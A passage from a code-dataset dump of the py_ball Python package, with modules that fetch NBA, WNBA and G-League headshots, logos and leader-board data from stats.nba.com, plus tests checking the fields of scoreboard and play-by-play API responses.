for item in my_list:\n my_tree.add(item)\n\n print(\"Binary Tree Search Test\")\n\n print(\"\\n\\nTimeIt Sort Results\\n--------------------------------------------------------------------------------\")\n\n times = repeat(\"for item in my_list: my_tree.find(item)\", globals={\"my_list\": my_list, \"my_tree\": my_tree}, number = 1000000, repeat = 5)\n \n print(\"1,000,000 runs of 20 searches for random string in tree:\\n\") \n i = 1\n for time in times: print(\"Run \" + str(i) + \": Total: \" + \"{0:0.8f}\".format(time) + \" Per Search: \" + \"{0:0.8f}\".format(time / 20)); i += 1\n\n print(\"\\n\")\n\nif __name__ == \"__main__\":\n\tmain()" }, { "alpha_fraction": 0.5935274958610535, "alphanum_fraction": 0.6119741201400757, "avg_line_length": 30.86598014831543, "blob_id": "d975cec8f2f2bf5cf81e0a634f5f052f8a45131b", "content_id": "8a126b4b10db5d3ef841423f1be0a6bdac528684", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3090, "license_type": "no_license", "max_line_length": 172, "num_lines": 97, "path": "/COP4533/Assignment 2/html_validator.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nfrom html.parser import HTMLParser\nimport timeit\nfrom statistics import mean\n\nclass HTMLChecker(HTMLParser):\n\t#Validates html tags\n\t#Uses HTMLParser class from python standard library to tokenize the html\n\t#beacuse I'm too lazy to write a parser myself\n\ttag_stack = []\n\tis_valid = True\n\tcount = 0\n\tdef validate_html_file(self, file_name):\n\n\t\tself.tag_stack = []\n\t\tself.is_valid = True\n\n\t\twith open(file_name, 'r') as html_file:\n\t\t\thtml_string = html_file.read()\n\n\t\tself.feed(html_string)\n\n\t\treturn self.is_valid and len(self.tag_stack) == 0\n\n\tdef handle_starttag(self, tag, attrs):\n\t\tself.tag_stack.append(tag)\n\n\tdef handle_endtag(self, tag):\n\t\tif self.tag_stack.pop() != tag:\n\t\t\tself.is_valid = False\n\t\telse:\n\t\t\tself.count += 1\n\ndef run_test(html_checker, file_name):\n\thtml_checker.validate_html_file(file_name)\n\treturn html_checker.count\n\ndef main():\n\tfile_name = input(\"Enter file name: \")\n\thmtl_checker = HTMLChecker()\n\t\n\tprint(\"\\nValidating HTML tags:\")\n\tif hmtl_checker.validate_html_file(file_name):\n\t\tprint(\"Valid HTML\")\n\telse:\n\t\tprint(\"Invalid HTML, mismatched opening and closing braces\")\n\n\ttimeit.template = \"\"\"\ndef inner(_it, _timer{init}):\n {setup}\n _t0 = _timer()\n for _i in _it:\n retval = {stmt}\n _t1 = _timer()\n return _t1 - _t0, retval\n\"\"\"\n\n\tprint(\"\\ntimeit test of html tag validation on ~5KB html file (5 runs):\")\n\tprint(\"-----------------------------------------------------------------\")\n\ttimes = timeit.repeat(setup = \"html_checker = HTMLChecker()\", stmt = \"run_test(html_checker, 'html_test_valid.txt')\", number = 1, repeat = 5, globals=globals())\n\t\n\tprint(\"HTML Tags Matched in file (html_test_valid_large.txt): \" + str(times[0][1]))\n\tcount = 1\n\tfor time in times:\n\t\tprint(\"Run \" + str(count) + \": \" + str(\"{0:0.5f}\".format(time[0])))\n\t\tcount += 1\n\tprint(\"Average: \" + str(mean(time[0] for time in times)))\n\n\tprint(\"\\ntimeit test of html tag validation on ~50KB html file (5 runs):\")\n\tprint(\"-----------------------------------------------------------------\")\n\ttimes = timeit.repeat(setup = \"html_checker = HTMLChecker()\", stmt = \"run_test(html_checker, 'html_test_valid_large.txt')\", number = 1, repeat = 5, globals=globals())\n\t\n\tprint(\"HTML Tags Matched in file (html_test_valid_large.txt): \" + str(times[0][1]))\n\tcount = 1\n\tfor time in times:\n\t\tprint(\"Run \" + str(count) + \": \" + str(\"{0:0.5f}\".format(time[0])))\n\t\tcount += 1\n\tprint(\"Average: \" + str(mean(time[0] for time in times)))\n\n\tprint(\"\\ntimeit test of html tag validation on ~500KB html file (5 runs):\")\n\tprint(\"-----------------------------------------------------------------\")\n\ttimes = timeit.repeat(setup = \"html_checker = HTMLChecker()\", stmt = \"run_test(html_checker, 'html_test_valid_very_large.txt')\", number = 1, repeat = 5, globals=globals())\n\t\n\tprint(\"HTML Tags Matched in file (html_test_valid_large.txt): \" + str(times[0][1]))\n\tcount = 1\n\tfor time in times:\n\t\tprint(\"Run \" + str(count) + \": \" + str(\"{0:0.5f}\".format(time[0])))\n\t\tcount += 1\n\tprint(\"Average: \" + str(mean(time[0] for time in times)))\n\n\n\nif __name__ == \"__main__\":\n\tmain()" }, { "alpha_fraction": 0.44968554377555847, "alphanum_fraction": 0.46226415038108826, "avg_line_length": 20.22222137451172, "blob_id": "7d29f52b951e886e7f40b7a6f312c64acee791ea", "content_id": "a5202901c6b06d51c57210b69bf7819fbbc01e1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 954, "license_type": "no_license", "max_line_length": 47, "num_lines": 45, "path": "/COP4533/Assignment 3/binary_string_list.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nclass BinaryStringList():\n \"\"\"Binary String List\"\"\"\n\n def __init__(self):\n \n self.__list = []\n\n def __iter__(self):\n return iter(self.__list)\n\n def __getitem__(self, key):\n return self.__list[key]\n\n def __setitem__(self, key, value):\n self.__list[key] = value\n\n def __str__(self):\n return str(self.__list)\n\n def add(self, value):\n for i in range(len(self.__list)):\n if self.__list[i] > value:\n self.__list.insert(i, value)\n return\n\n self.__list.append(value)\n\n def find(self, key):\n left = 0\n right = len(self.__list) - 1\n\n while (left < right):\n\n middle = (left + right) >> 1\n \n if (self.__list[middle] < key):\n left = middle + 1\n else:\n right = middle\n\n if self.__list[left] == key: return key" } ]
15
Pritesh7/temp
https://github.com/Pritesh7/temp
72f5f43c6afdf6bd163a3ed09f4b67e6778dd741
4a41483985366eb905143760a29eab0f2313b00d
f78c5d9a391379e448e33fd67078dbf6de0e52bf
refs/heads/master
2022-12-18T04:25:26.736518
2020-08-24T07:16:05
2020-08-24T07:16:05
288,214,948
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6879432797431946, "alphanum_fraction": 0.6879432797431946, "avg_line_length": 27, "blob_id": "21dde06a32454d7d5dc7d852c2794889115c7766", "content_id": "d925b941c4be7217a632bcad7daf42dacce4cfd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 141, "license_type": "no_license", "max_line_length": 76, "num_lines": 5, "path": "/test2.py", "repo_name": "Pritesh7/temp", "src_encoding": "UTF-8", "text": "# Databricks notebook source\n# MAGIC %md\n# MAGIC Some more changes, shame I can't choose which files I want to commit\n\n# COMMAND ----------\n\n" } ]
1
basketballrelativity/py_ball
https://github.com/basketballrelativity/py_ball
84ccb8a06ce3e79ed128d6872dafe5f6891d5991
1727f6a761261990e4a4fd5601f1342648e1c6dc
e046f959a249ab687b3ff270def3c9ec9babb5ec
refs/heads/master
2023-05-26T19:50:07.694897
2023-02-02T01:48:31
2023-02-02T01:48:31
152,098,891
96
16
MIT
2018-10-08T15:01:46
2023-01-31T19:40:17
2023-02-02T01:47:27
Python
[ { "alpha_fraction": 0.4171861708164215, "alphanum_fraction": 0.5403538346290588, "avg_line_length": 40.50349807739258, "blob_id": "d2207a07050a22044cc8c4107070433c474fe770", "content_id": "d55bd3ea4be4eeacbbb95fe40ad9a0eeaeb513b4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5935, "license_type": "permissive", "max_line_length": 82, "num_lines": 143, "path": "/py_ball/image.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 22 19:22:00 2018\n\n@author: patrickmcfarlane\n\nimage.py contains the Headshot and Logo classes that\nenables API calls for two score board endpoints\n\"\"\"\n\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\nfrom cairosvg import svg2png\n\nBASE_NBA_URL = 'https://cdn.nba.com/headshots/nba/latest/1040x760/{player_id}.png'\nBASE_WNBA_URL = 'https://ak-static.cms.nba.com/wp-content/uploads/' + \\\n 'headshots/wnba/{player_id}.png'\nBASE_G_LEAGUE_URL = 'https://ak-static.cms.nba.com/wp-content/uploads/' + \\\n 'headshots/dleague/{player_id}.png'\n\nBASE_NBA_LOGO_URL = 'https://cdn.nba.com/logos/nba/' + \\\n '{team}/primary/L/logo.svg'\n \nBASE_WNBA_LOGO_URL = 'https://ak-static.cms.nba.com/wp-content/' + \\\n 'themes/wnba-child/img/logos/' + \\\n '{team}-primary-logo.svg'\n\nBASE_G_LEAGUE_LOGO_URL = 'https://stats.gleague.nba.com/media/' + \\\n 'img/teams/logos/{team}.svg'\n \nID_TO_TEAM_NBA = {'1610612761': 'TOR', '1610612743': 'DEN',\n '1610612765': 'DET', '1610612740': 'NOP',\n '1610612749': 'MIL', '1610612744': 'GSW',\n '1610612759': 'SAS', '1610612757': 'POR',\n '1610612746': 'LAC', '1610612742': 'DAL',\n '1610612763': 'MEM', '1610612755': 'PHI',\n '1610612738': 'BOS', '1610612750': 'MIN',\n '1610612766': 'CHA', '1610612754': 'IND',\n '1610612753': 'ORL', '1610612748': 'MIA',\n '1610612745': 'HOU', '1610612758': 'SAC',\n '1610612762': 'UTA', '1610612751': 'BKN',\n '1610612737': 'ATL', '1610612756': 'PHX',\n '1610612764': 'WAS', '1610612752': 'NYK',\n '1610612760': 'OKC', '1610612747': 'LAL',\n '1610612739': 'CLE', '1610612741': 'CHI'}\n\nID_TO_TEAM_WNBA = {'1611661330': 'dream', '1611661321': 'wings',\n '1611661320': 'sparks', '1611661317': 'mercury',\n '1611661329': 'sky', '1611661325': 'fever',\n '1611661324': 'lynx', '1611661328': 'storm',\n '1611661323': 'sun', '1611661319': 'aces',\n '1611661313': 'liberty', '1611661322': 'mystics'}\n\nID_TO_TEAM_G_LEAGUE = {'1612709908': 'RGV', '1612709902': 'SCW',\n '1612709926': 'MHU', '1612709914': 'STO',\n '1612709903': 'SLC', '1612709921': 'LIN',\n '1612709889': 'OKL', '1612709925': 'LAK',\n '1612709920': 'RAP', '1612709919': 'WES',\n '1612709917': 'GRD', '1612709923': 'WCB',\n '1612709913': 'ERI', '1612709904': 'SXF',\n '1612709909': 'DEL', '1612709928': 'CAP',\n '1612709911': 'IWA', '1612709924': 'ACC',\n '1612709910': 'FWN', '1612709905': 'SBL',\n '1612709918': 'TEX', '1612709927': 'WIS',\n '1612709922': 'GBO', '1612709915': 'MNE',\n '1612709890': 'AUS', '1612709893': 'CTN',\n '1612709900': 'NAS'}\n\nclass Headshot:\n \"\"\" The Headshot class contains all resources needed to pull\n headshot images for NBA, G-League, and WNBA players.\n\n The Headshot class has the following required parameters:\n\n @param **league** (*str*): String, either 'WNBA', 'G', or 'NBA',\n to the league in which the desired player or team plays.\n\n @param **player_id** (*str*): String of an \\\n integer corresponding to a player ID for a given player.\n\n Attributes:\n\n **image** (*PngImageFile*): Image file of the desired headshot.\n Note that this image file is not saved locally, but stored\n in the Headshot class object.\n\n \"\"\"\n\n def __init__(self, league='WNBA',\n player_id='203400'):\n \n # Controlling the parameters depending on the endpoint\n if league == 'WNBA':\n response = requests.get(BASE_WNBA_URL.format(player_id=player_id))\n elif league == 'NBA':\n response = requests.get(BASE_NBA_URL.format(player_id=player_id))\n elif league == 'G':\n response = requests.get(BASE_G_LEAGUE_URL.format(player_id=player_id))\n\n im = Image.open(BytesIO(response.content))\n self.image = im\n\n\nclass Logo:\n \"\"\" The Logo class contains all resources needed to pull\n logo images for NBA, G-League, and WNBA players.\n\n The Logo class has the following required parameters:\n\n @param **league** (*str*): String, either 'WNBA', 'G', or 'NBA',\n to the league in which the desired player plays.\n\n @param **team_id** (*str*): String of a 10-digit \\\n integer that uniquely identifies a team for which data \\\n is to be returned.\n\n Attributes:\n\n **image** (*PngImageFile*): Image file of the desired headshot.\n Note that this image file is not saved locally, but stored\n in the Headshot class object.\n\n \"\"\"\n\n def __init__(self, league='WNBA',\n team_id='1611661319'):\n\n # Controlling the parameters depending on the endpoint\n if league == 'WNBA':\n team_str = ID_TO_TEAM_WNBA[team_id]\n response = requests.get(BASE_WNBA_LOGO_URL.format(team=team_str))\n elif league == 'NBA':\n response = requests.get(BASE_NBA_LOGO_URL.format(team=team_id))\n elif league == 'G':\n team_str = ID_TO_TEAM_G_LEAGUE[team_id]\n response = requests.get(BASE_G_LEAGUE_LOGO_URL.format(team=team_str))\n\n new_bites = svg2png(bytestring=response.content,\n write_to=None)\n im = Image.open(BytesIO(new_bites))\n self.image = im\n" }, { "alpha_fraction": 0.29791173338890076, "alphanum_fraction": 0.30420616269111633, "avg_line_length": 46.54929733276367, "blob_id": "579dbf037042a88d2106b3c9f583006fe6ec2572", "content_id": "8153be1cf1ec491ee143c6bfe75efe07cb326fe1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13504, "license_type": "permissive", "max_line_length": 76, "num_lines": 284, "path": "/py_ball/tests/test_scoreboard.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 23 21:54:48 2018\n\n@author: patrickmcfarlane\n\ntest_scoreboard.py\n\nThis function contains the tests for\nfunctions in the scoreboard.py file\n\"\"\"\n\nimport time\n\nfrom .__init__ import HEADERS\nfrom ..scoreboard import ScoreBoard\n\ndef test_scoreboard():\n \"\"\" tests the scoreboard endpoint of the ScoreBoard class\n \"\"\"\n\n time.sleep(1)\n example_board = ScoreBoard(headers=HEADERS,\n game_date='12/22/2018')\n\n table_names = example_board.data.keys()\n\n assert 'GameHeader' in table_names\n assert 'LineScore' in table_names\n assert 'SeriesStandings' in table_names\n assert 'LastMeeting' in table_names\n assert 'EastConfStandingsByDay' in table_names\n assert 'WestConfStandingsByDay' in table_names\n assert 'Available' in table_names\n\n example_game = example_board.data['GameHeader'][0]\n example_line = example_board.data['LineScore'][0]\n example_series = example_board.data['SeriesStandings'][0]\n example_last = example_board.data['LastMeeting'][0]\n example_east = example_board.data['EastConfStandingsByDay'][0]\n example_west = example_board.data['WestConfStandingsByDay'][0]\n example_avail = example_board.data['Available'][0]\n\n assert list(example_game.keys()) == ['GAME_DATE_EST',\n 'GAME_SEQUENCE',\n 'GAME_ID',\n 'GAME_STATUS_ID',\n 'GAME_STATUS_TEXT',\n 'GAMECODE',\n 'HOME_TEAM_ID',\n 'VISITOR_TEAM_ID',\n 'SEASON',\n 'LIVE_PERIOD',\n 'LIVE_PC_TIME',\n 'NATL_TV_BROADCASTER_ABBREVIATION',\n 'LIVE_PERIOD_TIME_BCAST',\n 'WH_STATUS']\n\n assert list(example_line.keys()) == ['GAME_DATE_EST',\n 'GAME_SEQUENCE',\n 'GAME_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_CITY_NAME',\n 'TEAM_WINS_LOSSES',\n 'PTS_QTR1',\n 'PTS_QTR2',\n 'PTS_QTR3',\n 'PTS_QTR4',\n 'PTS_OT1',\n 'PTS_OT2',\n 'PTS_OT3',\n 'PTS_OT4',\n 'PTS_OT5',\n 'PTS_OT6',\n 'PTS_OT7',\n 'PTS_OT8',\n 'PTS_OT9',\n 'PTS_OT10',\n 'PTS',\n 'FG_PCT',\n 'FT_PCT',\n 'FG3_PCT',\n 'AST',\n 'REB',\n 'TOV']\n\n assert list(example_series.keys()) == ['GAME_ID',\n 'HOME_TEAM_ID',\n 'VISITOR_TEAM_ID',\n 'GAME_DATE_EST',\n 'HOME_TEAM_WINS',\n 'HOME_TEAM_LOSSES',\n 'SERIES_LEADER']\n\n assert list(example_last.keys()) == ['GAME_ID',\n 'LAST_GAME_ID',\n 'LAST_GAME_DATE_EST',\n 'LAST_GAME_HOME_TEAM_ID',\n 'LAST_GAME_HOME_TEAM_CITY',\n 'LAST_GAME_HOME_TEAM_NAME',\n 'LAST_GAME_HOME_TEAM_ABBREVIATION',\n 'LAST_GAME_HOME_TEAM_POINTS',\n 'LAST_GAME_VISITOR_TEAM_ID',\n 'LAST_GAME_VISITOR_TEAM_CITY',\n 'LAST_GAME_VISITOR_TEAM_NAME',\n 'LAST_GAME_VISITOR_TEAM_CITY1',\n 'LAST_GAME_VISITOR_TEAM_POINTS']\n\n assert list(example_east.keys()) == ['TEAM_ID',\n 'LEAGUE_ID',\n 'SEASON_ID',\n 'STANDINGSDATE',\n 'CONFERENCE',\n 'TEAM',\n 'G',\n 'W',\n 'L',\n 'W_PCT',\n 'HOME_RECORD',\n 'ROAD_RECORD']\n\n assert list(example_west.keys()) == ['TEAM_ID',\n 'LEAGUE_ID',\n 'SEASON_ID',\n 'STANDINGSDATE',\n 'CONFERENCE',\n 'TEAM',\n 'G',\n 'W',\n 'L',\n 'W_PCT',\n 'HOME_RECORD',\n 'ROAD_RECORD']\n\n assert list(example_avail.keys()) == ['GAME_ID', 'PT_AVAILABLE']\n\ndef test_scoreboardv2():\n \"\"\" tests the scoreboardv2 endpoint of the ScoreBoard class\n \"\"\"\n\n time.sleep(1)\n example_board = ScoreBoard(headers=HEADERS,\n endpoint='scoreboardv2',\n game_date='12/22/2018')\n\n table_names = example_board.data.keys()\n\n assert 'GameHeader' in table_names\n assert 'LineScore' in table_names\n assert 'SeriesStandings' in table_names\n assert 'LastMeeting' in table_names\n assert 'EastConfStandingsByDay' in table_names\n assert 'WestConfStandingsByDay' in table_names\n assert 'Available' in table_names\n assert 'TeamLeaders' in table_names\n assert 'TicketLinks' in table_names\n assert 'WinProbability' in table_names\n\n example_game = example_board.data['GameHeader'][0]\n example_line = example_board.data['LineScore'][0]\n example_series = example_board.data['SeriesStandings'][0]\n example_last = example_board.data['LastMeeting'][0]\n example_east = example_board.data['EastConfStandingsByDay'][0]\n example_west = example_board.data['WestConfStandingsByDay'][0]\n example_avail = example_board.data['Available'][0]\n example_lead = example_board.data['TeamLeaders'][0]\n example_tick = example_board.data['TicketLinks'][0]\n\n assert list(example_game.keys()) == ['GAME_DATE_EST',\n 'GAME_SEQUENCE',\n 'GAME_ID',\n 'GAME_STATUS_ID',\n 'GAME_STATUS_TEXT',\n 'GAMECODE',\n 'HOME_TEAM_ID',\n 'VISITOR_TEAM_ID',\n 'SEASON',\n 'LIVE_PERIOD',\n 'LIVE_PC_TIME',\n 'NATL_TV_BROADCASTER_ABBREVIATION',\n 'HOME_TV_BROADCASTER_ABBREVIATION',\n 'AWAY_TV_BROADCASTER_ABBREVIATION',\n 'LIVE_PERIOD_TIME_BCAST',\n 'ARENA_NAME',\n 'WH_STATUS']\n\n assert list(example_line.keys()) == ['GAME_DATE_EST',\n 'GAME_SEQUENCE',\n 'GAME_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_CITY_NAME',\n 'TEAM_NAME',\n 'TEAM_WINS_LOSSES',\n 'PTS_QTR1',\n 'PTS_QTR2',\n 'PTS_QTR3',\n 'PTS_QTR4',\n 'PTS_OT1',\n 'PTS_OT2',\n 'PTS_OT3',\n 'PTS_OT4',\n 'PTS_OT5',\n 'PTS_OT6',\n 'PTS_OT7',\n 'PTS_OT8',\n 'PTS_OT9',\n 'PTS_OT10',\n 'PTS',\n 'FG_PCT',\n 'FT_PCT',\n 'FG3_PCT',\n 'AST',\n 'REB',\n 'TOV']\n\n assert list(example_series.keys()) == ['GAME_ID',\n 'HOME_TEAM_ID',\n 'VISITOR_TEAM_ID',\n 'GAME_DATE_EST',\n 'HOME_TEAM_WINS',\n 'HOME_TEAM_LOSSES',\n 'SERIES_LEADER']\n\n assert list(example_last.keys()) == ['GAME_ID',\n 'LAST_GAME_ID',\n 'LAST_GAME_DATE_EST',\n 'LAST_GAME_HOME_TEAM_ID',\n 'LAST_GAME_HOME_TEAM_CITY',\n 'LAST_GAME_HOME_TEAM_NAME',\n 'LAST_GAME_HOME_TEAM_ABBREVIATION',\n 'LAST_GAME_HOME_TEAM_POINTS',\n 'LAST_GAME_VISITOR_TEAM_ID',\n 'LAST_GAME_VISITOR_TEAM_CITY',\n 'LAST_GAME_VISITOR_TEAM_NAME',\n 'LAST_GAME_VISITOR_TEAM_CITY1',\n 'LAST_GAME_VISITOR_TEAM_POINTS']\n\n assert list(example_east.keys()) == ['TEAM_ID',\n 'LEAGUE_ID',\n 'SEASON_ID',\n 'STANDINGSDATE',\n 'CONFERENCE',\n 'TEAM',\n 'G',\n 'W',\n 'L',\n 'W_PCT',\n 'HOME_RECORD',\n 'ROAD_RECORD']\n\n assert list(example_west.keys()) == ['TEAM_ID',\n 'LEAGUE_ID',\n 'SEASON_ID',\n 'STANDINGSDATE',\n 'CONFERENCE',\n 'TEAM',\n 'G',\n 'W',\n 'L',\n 'W_PCT',\n 'HOME_RECORD',\n 'ROAD_RECORD']\n\n assert list(example_avail.keys()) == ['GAME_ID', 'PT_AVAILABLE']\n\n assert list(example_lead.keys()) == ['GAME_ID',\n 'TEAM_ID',\n 'TEAM_CITY',\n 'TEAM_NICKNAME',\n 'TEAM_ABBREVIATION',\n 'PTS_PLAYER_ID',\n 'PTS_PLAYER_NAME',\n 'PTS',\n 'REB_PLAYER_ID',\n 'REB_PLAYER_NAME',\n 'REB',\n 'AST_PLAYER_ID',\n 'AST_PLAYER_NAME',\n 'AST']\n\n assert list(example_tick.keys()) == ['GAME_ID', 'LEAG_TIX']\n" }, { "alpha_fraction": 0.5710238814353943, "alphanum_fraction": 0.5791177749633789, "avg_line_length": 41.60344696044922, "blob_id": "baa4a48ed7f1d322553cdccb4af8db38c881a1ce", "content_id": "dc2cc510b1350f6001a478387ae9a22d889e9a4b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7413, "license_type": "permissive", "max_line_length": 83, "num_lines": 174, "path": "/py_ball/leaderboard.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 11 19:01:08 2018\n\n@author: patrickmcfarlane\n\nleaderboard.py contains the LeaderBoard class that\nenables API calls for leader board endpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call, get_season_year\n\nclass LeaderBoard:\n \"\"\" The LeaderBoard class contains all resources needed to use the\n leader board API calls. `stats.nba.com <https://stats.nba.com>`_\n has the following leader board API endpoints:\n\n - **homepageleaders**: Top 5 leaders in a number of statistical \\\n categories.\n - **homepagev2**: Groups of top 5 leaders in statistical categories \\\n related to a given concept.\n - **leaderstiles**: Top 5 leaders in a number of statistical \\\n categories, some included in 'homepageleaders' and some \\\n not.\n - **leagueleaders**: Longer list of league leaders in a number \\\n of statistical categories.\n\n The LeaderBoard class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **league_id** (*str*): LeagueID in the API. String of a \\\n two-digit number corresponding to the league. '00' is the NBA, \\\n '10' is the WNBA, '01' is the ABA, and '20' is the G-League.\n\n @param **stat_category** (*str*): StatCategory in the API. String \\\n corresponding to the **stat_category** desired in the API \\\n response. Valid values include:\n\n - 'Points', 'Rebounds', 'Assists', 'Defense', \\\n 'Playmaking', 'Efficiency', 'Fast Break','Scoring Breakdown'\n\n The stat_category parameter is only required by the \\\n 'homepageleaders' endpoint.\n \n @param **stat_category_ll** (*str*): StatCategory in the API. String \\\n corresponding to the **stat_category** desired in the API response. \\\n Valid values include:\n\n - 'MIN', 'FGM', 'FGA', 'FG_PCT', 'FG3M', 'FG3A', 'FG3_PCT' \\\n 'FTM', 'FTA', 'FT_PCT', 'OREB', 'DREB', 'REB', 'AST' \\\n 'STL', 'BLK', 'TOV', 'PTS', 'EFF'\n\n The **stat_category_ll** parameter is only required by the \\\n 'leagueleaders' endpoint.\n\n @param **stat_type** (*str*): StatType in the API. String corresponding \\\n to the **stat_type** desired in the API response. Valid values \\\n include:\n\n - 'Traditional', 'Advanced', 'Tracking'\n\n The **stat_type** parameter is only required by the 'homepagev2' \\\n endpoint.\n\n @param **stat** (*str*): Stat in the API. String corresponding \\\n to the **stat** desired in the API response. Valid values \\\n include:\n\n - 'PTS', 'REB', 'AST', 'FG_PCT', 'FT_PCT', 'FG3_PCT' \\\n 'STL', 'BLK'\n\n The **stat** parameter is only required by the 'leaderstiles' \\\n endpoint.\n\n @param **season** (*str*): Season in the API. String of a two-year \\\n season in a YYYY-ZZ format, where the ZZ are the last two \\\n digits of the following year. For example, '2017-18' is a valid \\\n value of **season** and represents the 2017-18 NBA season.\n\n @param **season_type** (*str*): SeasonType in the API. String \\\n indicating the type of season for which data is desired. \\\n Valid values include:\n\n - 'Regular Season', 'Pre Season', 'Playoffs'\n\n @param **player_or_team** (*str*): PlayerOrTeam in the API. String \\\n indicating whether data returned is for 'Player' or 'Team' \\\n leaders.\n\n @param **game_scope** (*str*): GameScope in the API. String \\\n indicating the period of time for which data is desired. \\\n Valid values include:\n\n - 'Season', 'Last 10', 'Yesterday', 'Finals'\n\n @param **player_scope** (*str*): PlayerScope in the API. String \\\n indicating the type of players for which data is desired. \\\n Valid values include:\n\n - 'All Players', 'Rookies'\n\n @param **per_mode** (*str*): PerMode in the API. String \\\n indicating the rate of the statistics to be returned. \\\n Valid values include:\n\n - 'Totals', 'PerGame', 'Per48'\n\n The **per_mode** parameter is only required by the 'leagueleaders' \\\n endpoint.\n\n @param **scope** (*str*): Scope in the API. String indicating \\\n the type of players for which data is desired. This is \\\n nearly identical to **player_scope** above, but for the \\\n 'leagueleaders' endpoint. Valid values include:\n\n - 'S' (All players), 'Rookies'\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the type of \\\n response returned (the endpoint in this instance). The 'parameters' \\\n key describes the parameters provided in the API call. The \\\n 'resultSets' key contains the data returned in the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the \\\n corresponding data.\n \"\"\"\n\n def __init__(self, headers, endpoint='homepageleaders',\n league_id='00', stat_category='Points',\n stat_category_ll='PTS',\n stat_type='Tracking', stat='PTS',\n season=get_season_year(\"00\"), season_type='Regular Season',\n player_or_team='Player', game_scope='Season',\n player_scope='All Players', per_mode='PerGame',\n scope='S'):\n\n # Controlling the parameters depending on the endpoint\n params = {'LeagueID': league_id,\n 'Season': season,\n 'SeasonType': season_type,\n 'PlayerOrTeam': player_or_team,\n 'GameScope': game_scope,\n 'PlayerScope': player_scope}\n\n if endpoint == 'homepageleaders':\n params ['StatCategory'] = stat_category\n elif endpoint == 'homepagev2':\n params['StatType'] = stat_type\n elif endpoint == 'leaderstiles':\n params['Stat'] = stat\n elif endpoint == 'leagueleaders':\n params['StatCategory'] = stat_category_ll\n params['PerMode'] = per_mode\n params['Scope'] = scope\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n" }, { "alpha_fraction": 0.49253731966018677, "alphanum_fraction": 0.7014925479888916, "avg_line_length": 16, "blob_id": "47629440f9458f7a0f811c1d19d24367a3cbdf29", "content_id": "6ec9bc4de109c98279e8ef25856cb51f30782fab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 67, "license_type": "permissive", "max_line_length": 17, "num_lines": 4, "path": "/requirements.txt", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "cairosvg==2.5.1\nmatplotlib==3.2.1\npkginfo==1.5.0.1\nrequests==2.20.0" }, { "alpha_fraction": 0.36290526390075684, "alphanum_fraction": 0.3784870505332947, "avg_line_length": 40.0206184387207, "blob_id": "d73087f3d3392d6939f5bf63acb8722b364df6ca", "content_id": "5f28df0a5616f7993b0c429d43ca4e87abf52cfb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3979, "license_type": "permissive", "max_line_length": 69, "num_lines": 97, "path": "/py_ball/tests/test_playbyplay.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 22 15:37:02 2018\n\n@author: patrickmcfarlane\n\ntest_playbyplay.py\n\nThis function contains the tests for\nfunctions in the playbyplay.py file\n\"\"\"\n\nfrom .__init__ import HEADERS\nfrom ..playbyplay import PlayByPlay\n\ndef test_playbyplay():\n \"\"\" tests the playbyplay endpoint of the PlayByPlay class\n \"\"\"\n\n example_pbp = PlayByPlay(headers=HEADERS,\n game_id='0021500002')\n\n table_names = example_pbp.data.keys()\n\n assert 'PlayByPlay' in table_names\n assert 'AvailableVideo' in table_names\n\n example_game = example_pbp.data['PlayByPlay'][0]\n example_video = example_pbp.data['AvailableVideo'][0]\n\n assert list(example_game.keys()) == ['GAME_ID',\n 'EVENTNUM',\n 'EVENTMSGTYPE',\n 'EVENTMSGACTIONTYPE',\n 'PERIOD',\n 'WCTIMESTRING',\n 'PCTIMESTRING',\n 'HOMEDESCRIPTION',\n 'NEUTRALDESCRIPTION',\n 'VISITORDESCRIPTION',\n 'SCORE',\n 'SCOREMARGIN']\n\n assert list(example_video.keys()) == ['VIDEO_AVAILABLE_FLAG']\n \ndef test_playbyplayv2():\n \"\"\" tests the playbyplayv2 endpoint of the PlayByPlay class\n 